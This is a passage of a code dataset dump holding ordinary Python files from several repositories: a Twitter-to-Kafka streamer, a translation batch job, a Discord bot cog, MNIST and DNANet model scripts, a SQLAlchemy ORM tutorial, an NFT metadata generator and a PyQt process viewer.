negRuns\n\n","repo_name":"star-bnl/star-sw","sub_path":"StRoot/PWGTools/BadRunQA/runLog/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"62"} +{"seq_id":"19088096441","text":"from pyspark.sql import SparkSession\nfrom pyspark.sql.types import StringType\nimport requests\nimport json\nimport time\n\ndef get_tweets_text(response):\n response = response[\"globalObjects\"][\"tweets\"]\n tweets = []\n for item in response.values():\n tweets.append(item[\"full_text\"])\n return tweets\n\ndef make_requests(search_term, headers, \n num_requests=1, sleep_time=3, api_url=\"https://twitter135.p.rapidapi.com/Search/\"):\n querystring = {\"q\":search_term,\"count\":\"20\",\"tweet_search_mode\":\"live\"}\n response_list = []\n \n for i in range(num_requests):\n response = requests.get(api_url, headers=headers, params=querystring) \n if response.status_code == 200:\n response = response.json()\n tweets = get_tweets_text(response)\n for tweet in tweets:\n response_list.append(tweet)\n print(f\"sent the {i} request successfully\")\n else:\n raise Exception(f\"Exception. Status code: {response.status_code}\")\n time.sleep(sleep_time)\n\n return response_list\n\n\n\nif __name__ == \"__main__\":\n\n # path to rapid_api_key which contains my rapid api key\n with open(\"/home/jovyan/notebooks/spark_streaming/rapid_api_key.txt\") as f:\n rapid_api_key = f.readline()\n rapid_api_key = rapid_api_key.replace(' ', '')\n rapid_api_key = rapid_api_key.replace('\\n', '')\n\n spark = SparkSession.builder.appName(\"stream_get\").getOrCreate()\n spark.sparkContext.setLogLevel(\"ERROR\")\n\n SEARCH_TERM = \"(#tesla OR #elonmusk)\"\n NUM_REQUESTS = 3\n SLEEP_TIME = 3\n\n HEADERS = {\n \"X-RapidAPI-Key\": str(rapid_api_key),\n \"X-RapidAPI-Host\": \"twitter135.p.rapidapi.com\"\n }\n response_list = make_requests(SEARCH_TERM, HEADERS, num_requests=NUM_REQUESTS, sleep_time=SLEEP_TIME)\n\n\n spark.createDataFrame(response_list, StringType()).write\\\n .format(\"kafka\")\\\n .option(\"kafka.bootstrap.servers\", \"broker:9092\")\\\n .option(\"topic\", \"twitter\")\\\n .save()\n print(\"saved to kafka dataframe successfully\")\n # program exits at this point\n\n\n\n","repo_name":"granfelino/tweets-sentiment-analysis","sub_path":"stream_twitter.py","file_name":"stream_twitter.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"70486131078","text":"import os\nfrom multiprocessing.pool import ThreadPool\n\nimport tqdm\nimport pandas as pd\n\nfrom loader import load_corpus_as_dataframe\nfrom preprocess.clean import clean_text\nfrom utils import log\n\nfrom .translate import translate_to_spanish\n\n\nTRANSLATIONS_OUTPUT_DIR: str = \"data/translations_es/\"\n\n\ndef save_translation(\n translation: str, context: str, origin_language: str, filename: str, output_dir: str\n):\n output_dir: str = os.path.join(output_dir, context, origin_language)\n\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n with open(os.path.join(output_dir, filename), \"wt\") as f:\n f.write(translation)\n\n\ndef make_and_save_translations(\n df: pd.DataFrame,\n source_language: str,\n batch_size: int = 15,\n offset: int = 0,\n limit: int = None,\n):\n\n pool = ThreadPool(20)\n\n if limit is None:\n limit = len(df)\n\n for i in tqdm.tqdm(range(offset, limit, batch_size)):\n\n try:\n # print(f\"Slicing with {i}:{i+batch_size}\")\n batch_df = df[df.cleaned_text.str.len() > 0].iloc[i : i + batch_size]\n # print(f\"Batch length: {len(batch_df)}\")\n\n if len(batch_df) != batch_size:\n print(\n f\"WARNING: batch length {len(batch_df)} is not equal to batch size {batch_size} \"\n f\"at slice {i}:{i+batch_size}\"\n )\n\n translation = translate_to_spanish(\n batch_df.cleaned_text.tolist(), source_language=source_language\n )\n\n pool.imap_unordered(\n lambda x: save_translation(x[0], x[1], x[2], x[3]),\n zip(translation, batch_df.context, batch_df.language, batch_df.docname),\n )\n except Exception:\n print(f\"Failed at batch {i}\")\n raise\n\n\ndef translate_all_documents(df):\n french_df = df[df.language == \"fr\"]\n english_df = df[df.language == \"en\"]\n spanish_df = df[df.language == \"es\"]\n\n log.info(f\"Begining translations for {len(df)} documents\")\n\n # French to Spanish translations\n make_and_save_translations(french_df, source_language=\"fr\", batch_size=15)\n\n # English to Spanish translations\n make_and_save_translations(english_df, source_language=\"en\", batch_size=15)\n\n # Spanish to Spanish translations (do nothing but save them to disk)\n make_and_save_translations(spanish_df, source_language=\"es\", batch_size=15)\n\n\nif __name__ == \"__main__\":\n df = load_corpus_as_dataframe()\n df = clean_text(df)\n translate_all_documents(df)\n","repo_name":"BorFour/machine-translation-technical-test","sub_path":"translation/make_translations.py","file_name":"make_translations.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"86660588992","text":"import discord\nfrom discord.ext import commands\n\nclass Util(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def ping(self, ctx):\n \"\"\"Shows bot latency to the server\"\"\"\n pong = await ctx.send(\"Pong!\")\n delay = (pong.created_at - ctx.message.created_at).total_seconds() * 1000\n await pong.edit(content = f\"Pong! `{int(delay)}ms`\")\n print(f\"Ping: {int(delay)}ms \\t {ctx.message.author} \\t {ctx.message.guild}\")\n\n @commands.command(aliases=[\"uinfo\", \"ui\"])\n async def userinfo(self, ctx, member: discord.Member = None):\n \"\"\"Checks user info\"\"\"\n\n member = ctx.author if not member else member\n\n roles = [role for role in member.roles]\n\n embed = discord.Embed(colour=member.color)\n \n embed.set_author(name=f\"User Info - {member}\")\n embed.set_thumbnail(url=member.avatar_url)\n embed.set_footer(text=f\"Requested by {ctx.author}\", icon_url=ctx.author.avatar_url)\n \n embed.add_field(name=\"ID:\", value=member.id)\n embed.add_field(name=\"Nickname:\", value=member.display_name)\n \n embed.add_field(name=\"Account created:\", value=member.created_at.strftime(\"%#d %B %Y, %I:%M %p UTC\"))\n embed.add_field(name=\"Joined this server:\", value=member.joined_at.strftime(\"%#d %B %Y, %I:%M %p UTC\"))\n\n embed.add_field(name=f\"Roles ({len(roles)})\", value=\"\\n\".join([role.mention for role in roles]))\n \n\n await ctx.send(embed=embed)\n\ndef setup(bot):\n bot.add_cog(Util(bot))","repo_name":"m4rcel0/rudi-mongo","sub_path":"cogs/Util.py","file_name":"Util.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5412480692","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport shutil\n\n# TensorFlow and tf.keras\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nfrom tensorflow import keras\n\n# Helper libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef MNISTtotxt(train_images,train_labels,test_images,test_labels):\n path = os.path.abspath('.')\n #设置图片保存路径\n output_path = '/MNIST_data_output/train_data'\n try:\n shutil.rmtree(path + output_path)\n except OSError:\n print('dir dose not exits') \n os.mkdir(path + output_path)\n #保存对应位数据\n for num in range(500):\n save_file = path+ output_path + \"/No.{}-{}.txt\".format(num,int(train_labels[num]))\n np.savetxt(save_file,train_images[num]*255,fmt='%3d',)\n \n output_path = '/MNIST_data_output/test_data'\n try:\n shutil.rmtree(path + output_path)\n except OSError:\n print('dir dose not exits') \n os.mkdir(path + output_path)\n #保存对应位数据\n for num in range(500):\n save_file = path+ output_path + \"/No.{}-{}.txt\".format(num,int(test_labels[num]))\n np.savetxt(save_file,test_images[num]*255,fmt='%3d',)\n \ndef train_simple():\n output_path = os.path.abspath('.')\n print('-----step one: download and load up the datasets-----') \n #fashion_mnist = keras.datasets.mnist\n #(train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()\n #mnist_data_folder=\"/home/workshape/tensorflow/MNIST_data\"\n #fashion_mnist=input_data.read_data_sets(mnist_data_folder,one_hot=True)\n fashion_mnist=input_data.read_data_sets(\"MNIST_data\",one_hot=True)\n x_train, y_train = fashion_mnist.train.images,fashion_mnist.train.labels\n x_test, y_test = fashion_mnist.test.images, fashion_mnist.test.labels\n print('-----step one finsh-----')\n\n print('-----step two: preprocess the data -----') \n #train_images = train_images / 255.0\n train_images = x_train.reshape(-1,784).astype('float32')\n y_train = [np.argmax(y, axis=None, out=None) for y in y_train]\n train_labels =np.array(y_train).reshape(-1,1)\n test_images = x_test.reshape(-1,784).astype('float32')\n y_test = [np.argmax(y, axis=None, out=None) for y in y_test]\n test_labels =np.array(y_test).reshape(-1,1)\n MNISTtotxt(train_images,test_labels,test_images,test_labels)#保存成TXT格式\n print('-----step two finsh-----')\n \n print('-----step three: build the model -----')\n model = creat_model()\n model.summary()\n print('-----step three finish -----')\n\n print('-----step four: train the model -----')\n model.fit(train_images, train_labels, epochs=10)\n print('-----step four finish -----')\n print('-----successully setup a model -----')\n \n print('-----step five: save the model -----')\n \n \n try:\n shutil.rmtree('./model_data')\n except OSError:\n print('dir dose not exits') \n os.mkdir('./model_data')\n model.save('./model_data/simple_model.h5')\n model.save_weights('./model_data/my_checkpoint')\n model.save_weights('./model_data/weights.h5', save_format = 'h5')\n print('-----step five finish -----')\n \n print('-----now do a prediction -----')\n #test_images = test_images / 255.0\n test_loss, test_acc = model.evaluate(test_images, test_labels)\n print('Test accuracy:', test_acc)\n predictions = model.predict(test_images)\n num_rows = 5\n num_cols = 3\n num_images = num_rows*num_cols\n plt.figure(figsize=(2*2*num_cols, 2*num_rows))\n test_images_plot = test_images.reshape(-1,28,28).astype('float32')\n for i in range(num_images):\n plt.subplot(num_rows, 2*num_cols, 2*i+1)\n plot_image(i, predictions, test_labels, test_images_plot)\n plt.subplot(num_rows, 2*num_cols, 2*i+2)\n plot_value_array(i, predictions, test_labels)\n plt.show()\n \ndef plot_image(i, predictions_array, true_label, img):\n #class_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', \n # 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\n class_names = ['0','1', '2', '3', '4', '5', \n '6', '7', '8', '9']\n predictions_array, true_label, img = predictions_array[i],np.asscalar(true_label[i]), img[i]\n plt.grid(False)\n plt.xticks([])\n plt.yticks([])\n plt.imshow(img, cmap=plt.cm.binary)\n predicted_label = np.argmax(predictions_array)\n if predicted_label == true_label:\n color = 'blue'\n else:\n color = 'red'\n plt.xlabel(\"{} {:2.0f}% ({})\".format(class_names[predicted_label],\n 100*np.max(predictions_array),\n class_names[true_label]),\n color=color)\n\ndef plot_value_array(i, predictions_array, true_label):\n predictions_array, true_label = predictions_array[i], np.asscalar(true_label[i])\n plt.grid(False)\n plt.xticks([])\n plt.yticks([])\n thisplot = plt.bar(range(10), predictions_array, color=\"#777777\")\n plt.ylim([0, 1]) \n predicted_label = np.argmax(predictions_array)\n thisplot[predicted_label].set_color('red')\n thisplot[true_label].set_color('blue')\n \ndef RUN_weight():\n fashion_mnist=input_data.read_data_sets(\"MNIST_data\",one_hot=True)\n x_test, y_test = fashion_mnist.test.images, fashion_mnist.test.labels\n test_images = x_test.reshape(-1,28, 28).astype('float32')\n y_test = [np.argmax(y, axis=None, out=None) for y in y_test]\n test_labels =np.array(y_test).reshape(-1,1)\n model = creat_model()\n model.load_weights('./model_data/my_checkpoint')\n model.summary()\n loss,acc = model.evaluate(test_images, test_labels)\n print(\"Restored model, accuracy: {:5.2f}%\".format(100*acc))\n\ndef RUN_model():\n fashion_mnist=input_data.read_data_sets(\"MNIST_data\",one_hot=True)\n x_test, y_test = fashion_mnist.test.images, fashion_mnist.test.labels\n test_images = x_test.reshape(-1,28, 28).astype('float32')\n y_test = [np.argmax(y, axis=None, out=None) for y in y_test]\n test_labels =np.array(y_test).reshape(-1,1)\n new_model = keras.models.load_model('./model_data/simple_model.h5')\n new_model.summary()\n loss, acc = new_model.evaluate(test_images, test_labels)\n print(\"Restored model, accuracy: {:5.2f}%\".format(100*acc))\n \ndef creat_model(): \n model = keras.Sequential([\n keras.layers.Flatten(input_shape=(784,)),\n keras.layers.Dense(48, activation=tf.nn.relu),\n keras.layers.Dense(10, activation=tf.nn.softmax)\n ])\n model.compile(optimizer='adam', \n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n return model\n","repo_name":"zhangxzh9/EdgeAI-RISCV","sub_path":"recognition-py3-ubutun-terminal/MODEL.py","file_name":"MODEL.py","file_ext":"py","file_size_in_byte":6682,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"2200249471","text":"# Basic module\r\n\r\n# Torch and visulization\r\nfrom torchvision import transforms\r\n\r\n# Metric, loss .etc\r\nfrom model.utils import *\r\nfrom model.loss import *\r\nfrom model.load_param_data import load_param\r\n\r\n# Model\r\nfrom model.model_DNANet import Res_CBAM_block\r\nfrom model.model_ACM import ACM\r\nfrom model.model_DNANet import DNANet\r\n\r\ndef parse_args():\r\n \"\"\"Training Options for Segmentation Experiments\"\"\"\r\n parser = argparse.ArgumentParser(description='Dense_Nested_Attention_Network_For_SIRST')\r\n # choose model\r\n parser.add_argument('--model', type=str, default='DNANet',\r\n help='model name: DNANet, ACM')\r\n\r\n # parameter for DNANet\r\n parser.add_argument('--channel_size', type=str, default='three',\r\n help='one, two, three, four')\r\n parser.add_argument('--backbone', type=str, default='resnet_18',\r\n help='vgg10, resnet_10, resnet_18, resnet_34 ')\r\n parser.add_argument('--deep_supervision', type=str, default='True', help='True or False (model==DNANet), False(model==ACM)')\r\n\r\n # parameter for ACM\r\n parser.add_argument('--blocks', type=int, default=3, help='multiple block')\r\n parser.add_argument('--fuse_mode', type=str, default='AsymBi', help='fusion mode')\r\n\r\n # data and pre-process\r\n parser.add_argument('--img_demo_dir', type=str, default='img_demo',\r\n help='img_demo')\r\n parser.add_argument('--img_demo_index', type=str,default='target3',\r\n help='target1, target2, target3')\r\n parser.add_argument('--mode', type=str, default='TXT', help='mode name: TXT, Ratio')\r\n parser.add_argument('--test_size', type=float, default='0.5', help='when --mode==Ratio')\r\n parser.add_argument('--suffix', type=str, default='.png')\r\n parser.add_argument('--workers', type=int, default=4,\r\n metavar='N', help='dataloader threads')\r\n parser.add_argument('--in_channels', type=int, default=3,\r\n help='in_channel=3 for pre-process')\r\n parser.add_argument('--base_size', type=int, default=256,\r\n help='base image size')\r\n parser.add_argument('--crop_size', type=int, default=256,\r\n help='crop image size')\r\n\r\n # hyper params for training\r\n parser.add_argument('--test_batch_size', type=int, default=1,\r\n metavar='N', help='input batch size for \\\r\n testing (default: 32)')\r\n\r\n # cuda and logging\r\n parser.add_argument('--gpus', type=str, default='0',\r\n help='Training with GPUs, you can specify 1,3 for example.')\r\n\r\n args = parser.parse_args()\r\n\r\n # the parser\r\n return args\r\n\r\nclass Trainer(object):\r\n def __init__(self, args):\r\n\r\n # Initial\r\n self.args = args\r\n nb_filter, num_blocks = load_param(args.channel_size, args.backbone)\r\n img_dir = args.img_demo_dir+'/'+args.img_demo_index+args.suffix\r\n\r\n # Preprocess and load data\r\n input_transform = transforms.Compose([\r\n transforms.ToTensor(),\r\n transforms.Normalize([.485, .456, .406], [.229, .224, .225])])\r\n data = DemoLoader (img_dir, base_size=args.base_size, crop_size=args.crop_size, transform=input_transform,suffix=args.suffix)\r\n img = data.img_preprocess()\r\n\r\n # Choose and load model (this paper is finished by one GPU)\r\n if args.model == 'DNANet':\r\n model = DNANet(num_classes=1,input_channels=args.in_channels, block=Res_CBAM_block, num_blocks=num_blocks, nb_filter=nb_filter, deep_supervision=args.deep_supervision)\r\n elif args.model == 'ACM':\r\n model = ACM (args.in_channels, layers=[args.blocks] * 3, fuse_mode=args.fuse_mode, tiny=False, classes=1)\r\n model = model.cuda()\r\n model.apply(weights_init_xavier)\r\n print(\"Model Initializing\")\r\n self.model = model\r\n\r\n # Load Checkpoint\r\n checkpoint = torch.load('pretrain_DNANet_model.tar')\r\n self.model.load_state_dict(checkpoint['state_dict'])\r\n\r\n # Test\r\n self.model.eval()\r\n img = img.cuda()\r\n img = torch.unsqueeze(img,0)\r\n\r\n if args.deep_supervision == 'True':\r\n preds = self.model(img)\r\n pred = preds[-1]\r\n else:\r\n pred = self.model(img)\r\n save_Pred_GT_visulize(pred, args.img_demo_dir, args.img_demo_index, args.suffix)\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef main(args):\r\n trainer = Trainer(args)\r\n\r\nif __name__ == \"__main__\":\r\n args = parse_args()\r\n main(args)\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"YeRen123455/Infrared-Small-Target-Detection","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","stars":230,"dataset":"github-code","pt":"62"} +{"seq_id":"40890575959","text":"import math\nn = int(input())\nr = []\n\nfor _ in range(n):\n r.append(int(input()))\n\nflg = True\nsum = 0\n\nr.sort(reverse=True)\n\nfor i in range(n):\n if flg:\n sum += r[i] * r[i]\n flg = False\n else:\n sum -= r[i] * r[i]\n flg = True\n\nprint(sum * math.pi)","repo_name":"yassy225/AtCoder","sub_path":"atcoder.jp/abc026/abc026_b/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74842548676","text":"### slide::\n### title:: Advanced Object Relational Mapping\n# start with the same mapping as before...\n\nfrom sqlalchemy import Column, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\nBase = declarative_base()\n\nclass User(Base):\n __tablename__ = 'user'\n\n id = Column(Integer, primary_key=True)\n name = Column(String)\n fullname = Column(String)\n\n def __repr__(self):\n return \"\" % (\n self.name, self.fullname\n )\n\n### slide::\n# But then, we'll also add a second table.\n\nfrom sqlalchemy import ForeignKey\nfrom sqlalchemy.orm import relationship\n\nclass Address(Base):\n __tablename__ = 'address'\n\n id = Column(Integer, primary_key=True)\n email_address = Column(String, nullable=False)\n user_id = Column(Integer, ForeignKey('user.id'))\n\n user = relationship(\"User\", backref=\"addresses\")\n\n def __repr__(self):\n return \"\" % self.email_address\n\n\n### slide:: p\n# Create tables\n\nfrom sqlalchemy import create_engine\nengine = create_engine('sqlite://')\nBase.metadata.create_all(engine)\n\n### slide:: p\n# Insert data into the User table...\n\nfrom sqlalchemy.orm import Session\nsession = Session(bind=engine)\n\nsession.add_all([\n User(name='ed', fullname='Ed Jones'),\n User(name='wendy', fullname='Wendy Weathersmith'),\n User(name='mary', fullname='Mary Contrary'),\n User(name='fred', fullname='Fred Flinstone')\n])\nsession.commit()\n\n### slide::\n# a new User object also gains an empty \"addresses\" collection now.\n\njack = User(name='jack', fullname='Jack Bean')\njack.addresses\n\n### slide::\n# populate this collection with new Address objects.\n\njack.addresses = [\n Address(email_address='jack@gmail.com'),\n Address(email_address='j25@yahoo.com'),\n Address(email_address='jack@hotmail.com'),\n ]\n\n### slide::\n# the \"backref\" sets up Address.user for each User.address.\n\njack.addresses[1]\njack.addresses[1].user\n\n### slide::\n# adding User->jack will *cascade* each Address into the Session as well.\n\nsession.add(jack)\nsession.new\n\n### slide:: p\n# commit.\nsession.commit()\n\n### slide:: p\n# After expiration, jack.addresses emits a *lazy load* when first\n# accessed.\njack.addresses\n\n### slide:: i\n# the collection stays in memory until the transaction ends.\njack.addresses\n\n### slide:: p\n# collections and references are updated by manipulating objects,\n# not primary / foreign key values.\n\nfred = session.query(User).filter_by(name='fred').one()\njack.addresses[1].user = fred\n\nfred.addresses\n\nsession.commit()\n\n### slide:: p\n# Query can select from multiple tables at once.\n# Below is an *implicit join*.\n\nsession.query(User, Address).filter(User.id == Address.user_id).all()\n\n### slide:: p\n# join() is used to create an explicit JOIN.\n\nsession.query(User, Address).join(Address, User.id == Address.user_id).all()\n\n### slide:: p\n# The most succinct and accurate way to join() is to use the\n# the relationship()-bound attribute to specify ON.\n\nsession.query(User, Address).join(User.addresses).all()\n\n### slide:: p\n# join() will also figure out very simple joins just using entities.\n\nsession.query(User, Address).join(Address).all()\n\n\n### slide:: p\n# Either User or Address may be referred to anywhere in the query.\n\nsession.query(User.name).join(User.addresses).\\\n filter(Address.email_address == 'jack@gmail.com').first()\n\n### slide:: p\n# we can specify an explicit FROM using select_from().\n\nsession.query(User, Address).select_from(Address).join(Address.user).all()\n\n### slide:: p\n# A query that refers to the same entity more than once in the FROM\n# clause requires *aliasing*.\n\nfrom sqlalchemy.orm import aliased\n\na1, a2 = aliased(Address), aliased(Address)\nsession.query(User).\\\n join(a1).\\\n join(a2).\\\n filter(a1.email_address == 'jack@gmail.com').\\\n filter(a2.email_address == 'jack@hotmail.com').\\\n all()\n\n### slide:: p\n# We can also join with subqueries. subquery() returns\n# an \"alias\" construct for us to use.\n\nfrom sqlalchemy import func\n\nsubq = session.query(\n func.count(Address.id).label('count'),\n User.id.label('user_id')\n ).\\\n join(Address.user).\\\n group_by(User.id).\\\n subquery()\n\nsession.query(User.name, func.coalesce(subq.c.count, 0)).\\\n outerjoin(subq, User.id == subq.c.user_id).all()\n\n### slide::\n### title:: Exercises\n# 1. Run this SQL JOIN:\n#\n# SELECT user.name, address.email_address FROM user\n# JOIN address ON user.id=address.user_id WHERE\n# address.email_address='j25@yahoo.com'\n#\n\n### slide:: p\n### title:: Eager Loading\n# the \"N plus one\" problem refers to the many SELECT statements\n# emitted when loading collections against a parent result\n\nfor user in session.query(User):\n print(user, user.addresses)\n\n### slide:: p\n# *eager loading* solves this problem by loading *all* collections\n# at once.\n\nsession.rollback() # so we can see the load happen again.\n\nfrom sqlalchemy.orm import subqueryload\n\nfor user in session.query(User).options(subqueryload(User.addresses)):\n print(user, user.addresses)\n\n### slide:: p\n# joinedload() uses a LEFT OUTER JOIN to load parent + child in one query.\n\nsession.rollback()\n\nfrom sqlalchemy.orm import joinedload\n\nfor user in session.query(User).options(joinedload(User.addresses)):\n print(user, user.addresses)\n\n### slide:: p\n# eager loading *does not* change the *result* of the Query.\n# only how related collections are loaded.\n\nfor address in session.query(Address).\\\n join(Address.user).\\\n filter(User.name == 'jack').\\\n options(joinedload(Address.user)):\n print(address, address.user)\n\n### slide:: p\n# to join() *and* joinedload() at the same time without using two\n# JOIN clauses, use contains_eager()\n\nfrom sqlalchemy.orm import contains_eager\n\nfor address in session.query(Address).\\\n join(Address.user).\\\n filter(User.name == 'jack').\\\n options(contains_eager(Address.user)):\n print(address, address.user)\n\n\n### slide::\n### title:: Exercises - Final Exam !\n# 1. Create a class called 'Account', with table \"account\":\n#\n# id = Column(Integer, primary_key=True)\n# owner = Column(String(50), nullable=False)\n# balance = Column(Numeric, default=0)\n#\n# 2. Create a class \"Transaction\", with table \"transaction\":\n# * Integer primary key\n# * numeric \"amount\" column\n# * Integer \"account_id\" column with ForeignKey('account.id')\n#\n# 3. Add a relationship() on Transaction named \"account\", which refers\n# to \"Account\", and has a backref called \"transactions\".\n#\n# 4. Create a database, create tables, then insert these objects:\n#\n# a1 = Account(owner='Jack Jones', balance=5000)\n# a2 = Account(owner='Ed Rendell', balance=10000)\n# Transaction(amount=500, account=a1)\n# Transaction(amount=4500, account=a1)\n# Transaction(amount=6000, account=a2)\n# Transaction(amount=4000, account=a2)\n#\n# 5. Produce a report that shows:\n# * account owner\n# * account balance\n# * summation of transaction amounts per account (should match balance)\n# A column can be summed using func.sum(Transaction.amount)\n#\nfrom sqlalchemy import Integer, String, Numeric\n\n### slide::\n\n\n","repo_name":"leliel12/talks","sub_path":"scipyla2016/sqlalchemy/sqlalchemy_tutorial/04_orm_adv.py","file_name":"04_orm_adv.py","file_ext":"py","file_size_in_byte":7333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37339313353","text":"# -*- coding: utf-8 -*-\n\n\"\"\" Please see licence for personnal use \"\"\"\n\nimport os\nimport json\n\n\nclass MetaDataGenerator:\n\n def __init__(\n self,\n outputPath: str,\n CIP: bool = False,\n type: str = None,\n ) -> None:\n\n self.outputPath = outputPath\n self.CIP = CIP\n self.type = type\n\n def _basis_generation(self, asset_list: list, index: int) -> dict:\n # definition of basis attributes\n attributes = {}\n for asset in asset_list:\n _dict = {asset.assetType: asset.name}\n attributes.update(_dict)\n\n # definition of basis meta data\n return {\n \"image\": str(index) + \".png\",\n \"attributes\": attributes,\n }\n\n def _transformed_generation(self, basisMetaData: dict) -> dict:\n attr = basisMetaData[\"attributes\"]\n # replace EyesExpression key to EyesBrows\n if \"EyesExpression\" in attr:\n attr[\"EyesBrows\"] = attr.pop(\"EyesExpression\")\n\n # replace Attributes\n # attr[\"Mouth\"] = attr[\"Mouth\"].replace(\"_\")\n # attr[\"Piercings\"] = attr[\"Piercings\"].replace(\"percings_\", \"\", 1)\n # attr[\"Robotic\"] = attr[\"Robotic\"].replace(\"_Skull\", \"\", 1)\n # attr[\"Robotic\"] = attr[\"Robotic\"].replace(\"_Skull_Short_Hair\", \"\", 1)\n return basisMetaData\n\n def _CIP_generation(self, transformedMetaData: dict, index: int) -> dict:\n policy_ID = \"null\"\n asset_name = f\"ProjectEND{index}\"\n name = \"ProjectEND #{:05d}\".format(index)\n image = \"ipfs://{:05d}.png\".format(index)\n newMetaData = {\n \"721\": {\n policy_ID: {\n asset_name: {\n \"Project\": \"Project E.N.D\",\n \"name\": name,\n \"image\": image,\n \"attributes\": transformedMetaData[\"attributes\"],\n \"twitter\": \"https://twitter.com/Project__End\",\n \"website\": \"https://www.Project__END.art\",\n },\n \"type\": self.type,\n }\n }\n }\n return newMetaData\n\n def generate(\n self,\n asset_list: list,\n index: int,\n debug: bool = False,\n ) -> None:\n\n basisMetaData = self._basis_generation(asset_list, index)\n transformedMetaData = self._transformed_generation(basisMetaData)\n\n if self.CIP:\n transformedMetaData = self._CIP_generation(\n transformedMetaData, index)\n\n if not debug:\n try:\n savepath = os.path.join(self.outputPath, str(index) + \".json\")\n with open(savepath, 'w') as outfile:\n json.dump(transformedMetaData, outfile)\n #print(f\"meta save in {savepath}\")\n except:\n print(\"Error saving metadata\")\n else:\n print(\"basis meta data =\", basisMetaData)\n print(\"transf meta data =\", transformedMetaData)\n","repo_name":"Neutrinos00/nft_generator","sub_path":"package/metadata_gen.py","file_name":"metadata_gen.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"42032975829","text":"# Scrapy settings for tutorial project\n#\n# For simplicity, this file contains only the most important settings by\n# default. All the other settings are documented here:\n#\n# http://doc.scrapy.org/topics/settings.html\n#\n\nBOT_NAME = 'vnbnb'\nBOT_VERSION = '1.0'\n\nSPIDER_MODULES = ['vnbnb.spiders']\nNEWSPIDER_MODULE = 'vnbnb.spiders'\nUSER_AGENT = '%s/%s' % (BOT_NAME, BOT_VERSION)\n\nITEM_PIPELINES = ['scrapy.contrib.pipeline.images.ImagesPipeline']\nIMAGES_STORE = '/Users/trang/Desktop/scrapy/vnbnb/hanoiimages'\n","repo_name":"bluekite2000/scrappy","sub_path":"vnbnb/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"35626079249","text":"from functools import partial\n\nfrom time import sleep\n\nfrom cururu.worker import Worker, Nothing\nfrom pjml.tool.abs.mixin.timing import withTiming\n\n\ndef f(a, b):\n print('start', a, b)\n sleep(a + b)\n print('end', a, b)\n print()\n return Nothing\n\n\nstart = withTiming._clock()\n\nw = Worker()\nw.put((f, {'a': 2, 'b': 1}))\nprint(1)\nw.put((f, {'a': 0, 'b': 1}))\nprint(2)\nw.put((f, {'a': 2, 'b': 0}))\nprint(3)\n\nprint('Tempo: ', '{:.2f}'.format(withTiming._clock() - start))\nw.join()\nprint('Tempo tot: ', withTiming._clock() - start)\n","repo_name":"davips/pjml-and-previous-version_archived","sub_path":"examples/toy_worker.py","file_name":"toy_worker.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19380033903","text":"from PyQt4.QtGui import QTreeView\nfrom PyQt4.QtCore import QThread, pyqtSlot, Qt\nfrom ..proctablemodel import ProcTableModelRefresher\n\nclass ProcTableWidget(QTreeView):\n def __init__(self, model, parent=None):\n super().__init__(parent)\n self.setSelectionBehavior(QTreeView.SelectRows)\n\n # setting uniform row heights allows optimization of the view\n self.setUniformRowHeights(True)\n self.model = model\n self.setModel(self.model)\n self.expandAll()\n\n # resize the column to fit all process names\n self.resizeColumnToContents(0)\n\n # keeps track of the previous sort order shown by the sort indicator.\n # this allows for a third state for the sort order: no sort\n self.prevSortOrder = None\n self.header().setClickable(True)\n self.header().sectionClicked.connect(self.setSortIndicator)\n\n # this worker thread grabs the latest process properties\n # so the GUI doesn't lag when it needs to update process data\n self.refreshThread = QThread(self)\n self.modelRefresher = ProcTableModelRefresher(self.model)\n self.modelRefresher.moveToThread(self.refreshThread)\n self.modelRefresher.modelRefresh.connect(self.model.update)\n self.refreshThread.started.connect(self.modelRefresher.startRefreshTimer)\n self.refreshThread.start()\n\n @pyqtSlot(int)\n def setSortIndicator(self, columnIdx):\n if self.isSortingEnabled():\n # the 'no sort' state is only accessible by changing\n # the sort order of the process name column\n if columnIdx == 0 and self.prevSortOrder == Qt.DescendingOrder:\n self.header().setSortIndicatorShown(False)\n self.setSortingEnabled(False)\n self.model.removeSort()\n # setClickable() has to be set to True again after\n # calling setSortingEnabled(False) otherwise, the headers\n # cannot be clicked and the columns cannot be sorted\n self.header().setClickable(True)\n else:\n self.header().setSortIndicatorShown(True)\n # force the 